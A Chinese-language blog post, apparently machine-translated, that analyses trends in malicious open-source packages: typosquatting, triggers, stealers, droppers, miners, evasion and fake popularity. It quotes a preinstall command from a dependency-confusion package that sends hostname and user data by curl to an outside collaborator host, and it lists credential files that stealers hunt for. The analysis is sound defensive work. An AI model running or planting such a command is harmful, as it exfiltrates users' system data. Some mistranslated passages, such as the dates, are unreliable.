恶意软件包剖析：趋势是什么？

在上一集中， 开源恶意软件：问题，我们讨论了为什么威胁行为者如此 热衷于发布新的恶意组件或在现有组件的最新版本中注入恶意软件：开源基础设施允许任何地方的任何人创建一个临时帐户 在组件注册表（如 NPM、PyPI、Docker Hub 或 Visual Studio Marketplace）或协作开发平台（如 GitHub）中。零成本，并且有很多机会利用软件团队传统上对第三方组件的过度信任。

攻击者利用开源基础设施分发恶意软件非常容易，而软件开发组织（所有人？）却很难避免感染恶意软件（并在为他人分发的软件中传播恶意软件），这种不对称导致去年恶意软件数量几乎达到了 25 万。

这个问题非常严重，没有一个组织能够单独解决，社区正在重新构建开源流程，涉及信任、默认安全、设计安全原则以及组件的生命周期。我们将在下一集中探讨这些想法 防范开源恶意软件：哪些方法有效（哪些方法无效）.

请记住，我们讨论的软件组件大多数时候对应于 软件包：可重用组件已打包，因此它们可以作为软件清单中的依赖项引用，并使用包管理器或构建工具进行安装。请注意，这种情况可以扩展为包括公共 容器图像 （由 Kubernetes 等容器运行时和编排平台使用），以及 软件工具的扩展 （用于构建、自动化和部署）。

下面我们来分析一下 基于恶意组件的攻击策略 根据过去的例子以及我们在恶意软件预警平台上看到的情况，它是有效的 （MEW）我们将从不同维度剖析恶意组件：

（1）选择的传播方式（在新的或现有的组件中使用的注册表，以及用于感染已发布组件版本的技术），（2）恶意软件是如何激活或触发的，（3）恶意行为，即观察到的有害行为以及攻击者的动机是什么，（4）哪些技术常用于混淆、隐藏以不被注意、横向移动、与命令和控制（C2）主机通信等；以及（5）获得足够的知名度和信任的技术，以便受害者最终安装组件。

选择的分配机制我们观察到“背景噪音” 不成熟的恶意软件包利用域名抢注，通过拼写错误来诱骗不谨慎的开发人员，其依赖项的软件包名称存在拼写错误。许多流行的软件包都会收到大量名称相似且有拼写错误的软件包，目的是诱骗一些不谨慎的开发人员。

他们使用临时账户，发布一组域名抢注包，创建另一个，然后发布另一个组……使用一些自动化和独创性，他们可以实现一些复杂操作，但通常这些操作相当琐碎。我们内部称它们为“鳀鱼”。窃取凭证是其主要目的，但偶尔我们也会发现间谍软件窃取源代码或敏感数据，如个人身份信息 (PII)、剪贴板捕获和其他疑虑。

突然间，我们看到了更复杂的恶意组件，即“鲨鱼”。少数针对特定团体或组织的组件，通常使用有条件激活的加密消耗器或网络掠夺器，可能遵循了在 事件流事件 仅当从目标包引用该包时才解密攻击负载。

这篇优秀且经典的论文对分配机制进行了分析，“背叛者的利刃集合：开源软件供应链攻击回顾”，这是必读文章。你肯定之前见过这张漂亮的图表：

尝试了所有途径，包括新的和现有的软件包；影响源代码、构建系统或打包组件本身；使用被盗凭证或社会工程；劫持废弃的帐户和存储库或毒害维护的帐户和存储库。一些攻击被命名为（注册近似域名, 依赖混乱, 明显的混乱, 回购劫持等等），并且已经在其他地方讨论过了。

所选的注册表怎么样？NPM 在恶意软件总数方面继续领先，但我们发现 PyPI 上今年开始出现激增。Python 是数据科学和机器学习的流行生态系统。事实上，PyPI 中的恶意软件密度现在高于 NPM。

恶意软件是如何被触发的恶意软件包在安装过程中触发的概率仅为 4%（近年来接近 10%）。其余的恶意软件包在运行时运行恶意行为，其中 6 个中有 10 个是在运行测试时触发的。攻击者似乎知道，许多地方都禁用了不受控制的安装脚本执行。

坏人得到了什么？我们将列出恶意行为类别，将最常见的列在最前面。请注意，影响可能会有很大不同： 雨刮器 具有顽固的破坏性，但并不常见，只在少数情况下出现，与有针对性的网络战争活动或残酷的黑客行动主义有关。以下类别相当常见：

信息窃取器/凭证删除器。迄今为止最常见的、超过 90% 的不复杂攻击都是简单的窃取程序，主要寻找密码、访问令牌、API 密钥和私钥（用于 SSH 等）等凭证。它可能是最简单的编写方式（还有擦除器？）。它们枚举已知文件/目录和其他来源（例如注册表项），打包内容，然后将这些数据发送到 C2 服务器。这个想法很简单：“我发布一个用于网络钓鱼凭证的窃取程序，这样我以后就可以使用这些凭证发起定向攻击”。 观察到的 C2 网络通常是廉价且肮脏的，例如 Telegram 频道或 类似 ngrok 的隧道工具 （通常采用通过 VPN 出口 IP 公开的反向代理形式）。有数百种可能性，其中许多 GitHub 项目 密码窃取者主题. 像键盘记录器这样的专业化功能在恶意包和容器镜像中很少见，但在需要用户交互的工具扩展中却更为常见。

投放器/下载器。第二种流行程度，通常在多阶段攻击中首先出现。超过三分之一的恶意组件具有投放器（如果恶意负载包含在软件包中）或下载器（负载从攻击者控制的端点下载）。负载通常是一种已知的二进制恶意软件变体，它会运行并且有时会持久保存，用于安装后门、间谍软件、加密消耗器和其他用例。下载或部署的有效负载会利用现有恶意软件二进制文件提供的所有功能启动第二阶段攻击。二进制文件可以在软件包内分发，通常伪装成图像或所谓无害的文件类型，以避免在连接到意外站点时被发现。 加密货币窃取者/矿工出于经济动机的对手愿意使用您的云资产来运行加密货币挖矿程序（他们甚至会检测它们是否在云虚拟机中运行）。他们不关心 低利润率 每向受害者收取 1 美元的云基础设施盗窃费用，受害者将支付 53 美元。受害者可能直到收到意外账单才意识到这一点。幸运的是，这种情况时有发生。 Cryptojacking 恶意软件中的攻击活动偶尔会突然出现，然后逐渐消失，对钱包用户进行钓鱼攻击，或者最终以钱包提供商为目标，例如 账本攻击. 其他行为，例如部署 后门 通过打开反向 shell 来执行远程代码的情况现在比过去少了。例如， 123rf_contributor_web 软件包（现已从注册表中删除）无需任何混淆即可打开从 反向 Shell 速查表:

24 年 30 月 2024 日至 XNUMX 日这一周内观察到了恶意包裹类型。 除了合法和恶意组件外，我们还观察到几种滥用行为，包括：

垃圾邮件包裹有数千个小包，大部分在 NPM 中，没有恶意软件，但承诺轻松赚钱、蛇油、伟哥产品链接等等。一些用户发布此类垃圾邮件并从注册表中占用大量带宽。另一个可能来自印度尼西亚的参与者试图通过以下方式获取利益 滥用 teaRank 旨在通过创建数以万计的相互关联的 NPM 包和相关的 GitHub 虚拟存储库来补偿开源开发者。这明显违反了使用条款。

漏洞赏金和安全研究骗局 当某个软件包将自己描述为出于良好目的而泄露数据时，例如检测漏洞赏金计划的安全漏洞或研究生态系统的某些方面。我们已经看到数千个此类软件包，它们从 PortSwigger（例如 oastify.com 域中的主机）获取身份信息（但不是太敏感的数据）到 Burp Collaborator 地址。我们经常观察到模仿者 依赖混乱 Alex Birsan 的概念验证，就像 aurora-webmail-pro 包（从注册表中删除），它只是在预安装脚本中运行这个令人讨厌的代码：

exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")

还包括“这是简单的依赖混淆攻击概念证明”免责声明描述 的package.json。这明显违反了服务条款，即使没有恶意。

有什么好消息吗？我们还没有看到通过恶意组件发起的勒索软件攻击。出于未知原因，网络犯罪分子似乎更喜欢传统的电子邮件钓鱼、基于 RDP 和驱动下载的传递机制。

观察到的其他技术 许多技术被用于持久性、防御逃避、信息收集、与命令和控制主机的通信以及渗透。

坚持 恶意组件中的持久性是使用第二阶段二进制恶意软件中的持久性功能获得的，但有时行为位于包代码中，其中计划任务和 Windows 注册表中的更改最为常见。

困惑 很常见，但不够成熟。大多数域名抢注软件包（记住“鳀鱼”？）根本不使用混淆；许多要么使用简单的混淆（base64/hex 编码或像 rot13 这样的替换密码），要么使用可用的代码混淆器和压缩，使用正确的工具可以轻松逆转。只有“鲨鱼”才会使用真正的、硬核的混淆，难以进行逆向工程。混淆可能会隐藏攻击，但为什么开源组件中的代码需要混淆？有证据表明某些东西需要隐藏起来吗？我们发现许多非恶意软件包使用混淆来保护知识产权，这与“开源”相矛盾。混淆可以作为恶意软件的证据，但并非决定性的证据。而且混淆也很难消除。

闪避 防御控制采用简单的技术。恶意代码通常受到保护 试着抓 忽略任何异常的块，因此异常活动不会显示在日志中。除非针对特定组织或环境的恶意软件，否则很少对环境（在虚拟机或容器中运行）进行验证。

在图像和 PDF 文件中伪装二进制文件（一种隐写术）是另一种逃避检测的技术。

由于最常见的恶意组件是信息窃取程序， 数据采集 至关重要。机密信息（密码、访问令牌、API 密钥、加密密钥）通常会在日志文件、环境变量甚至剪贴板（银行木马和加密窃取程序中可见）中被扫描。源代码泄露也很常见，因为软件包安装通常在可能克隆内部 git 存储库的开发节点中完成。我们已经看到软件包枚举目录以搜索 git 存储库。寻找 .env、private.pem、settings.py、app.js 或 application.properties 等位置很常见。

数据泄露是另一种广泛部署的行动。只有少数恶意程序包甚至试图隐藏提取数据的目的地。Telegram 频道和 类似 ngrok 的隧道 经常使用。而且有很多 通常用于数据泄露的白名单域名.

其他技术，例如权限提升或横向移动，则不太常见。

获得人气和信任想象一下，一个科技骗子拿着一个现成的致命恶意东西，想知道：“我怎样才能让这个垃圾！让那些毫无戒心的白痴相信？”。

这意味着如何让恶意组件的条目显示许多星星/分支（表示受欢迎程度），以及版本/问题和 pull requests （针对活动）。其目的是获得虚构的知名度（明星）和依赖者，以及关于相关性和维护的令人信服的外观。

注册表不会检查 GitHub 项目中的内容与包内容是否匹配。这是软件供应链中一个众所周知的问题。公共注册中心是巨大的天坑，吞噬一切向其投掷的东西。您可以链接任何存储库。

24 年 30 月 2024 日至 XNUMX 日这一周内潜在恶意软件的证据分布。 如果恶意软件包抢注了一个流行的软件包，那很容易：只需在用于创建软件包并将其发布到注册表的依赖项清单中引用现有的 GitHub 存储库即可。对于虚假 GitHub 存储库上的新软件包，你可能需要更多的聪明才智，也许可以创建虚假的 观星/分叉 通过脚本获取 GitHub 帐户。

如果您的软件包内容与存储库相当相似，可以随意添加一些精心设计的更改……您可以将恶意软件注入类似于流行软件包的新软件包中，并引用现有软件包的存储库，然后等待拼写错误。如果有人敢将软件包 tarball 的内容与 GitHub 存储库中的内容进行比较，恶意软件注入点的差异很容易被忽略。我们以前多次见过这种方法。

组件可以制定一个机制来防篡改声明，说明来源、软件包的构建方式、来源和构建者，这将会受到欢迎。但那是另一个故事。

组件 X 是恶意软件吗？是否有一个（全面的）恶意软件包数据库？没有。开源漏洞有一个 CVE ID，但只有少数恶意软件包（尤其是那些成为头条新闻的恶意软件包）被赋予一个。恶意软件包的 CWE 是 CWE-506 （嵌入恶意代码）。

常见的恶意软件工具（VirusTotal、MalwareBazaar、SOREL-20M……）没有针对恶意组件做出特殊规定。这值得欢迎！

有研究样本数据库和数据集可供分析（我们使用了其中的一些），但只有在知道恶意软件包时才会更新条目，而这通常为时已晚。如果您有兴趣， OpenSSF 恶意软件包 是一个很好的开始。

在下一篇文章中，我们将讨论如何知道给定的软件包是否是恶意的。剧透：是的，在暴露窗口的早期，在注册表删除已知恶意组件之前，有一些方法可以检查恶意组件。

深入阅读在下一集中“防范开源恶意软件：哪些方法有效（哪些方法无效）= 我们将讨论开源安全的注意事项。 大多数具有安全意识的专业人士都知道如何应对这种威胁，但误解仍然存在。

我们将回顾这些想法为何是错误的，以及这些误解如何导致这种攻击机制的流行，以及组织正在经历的巨大风险。然后，我们将继续讨论哪些方法有效，以及需要付出哪些努力和资源。

此外，我们还将发布有关恶意软件的意图、注入机制和攻击技术方面的演变。

敬请关注！

案例开源恶意软件：问题，本系列的上一集。背叛者的利刃集合：开源软件供应链攻击回顾OpenSSF 恶意软件包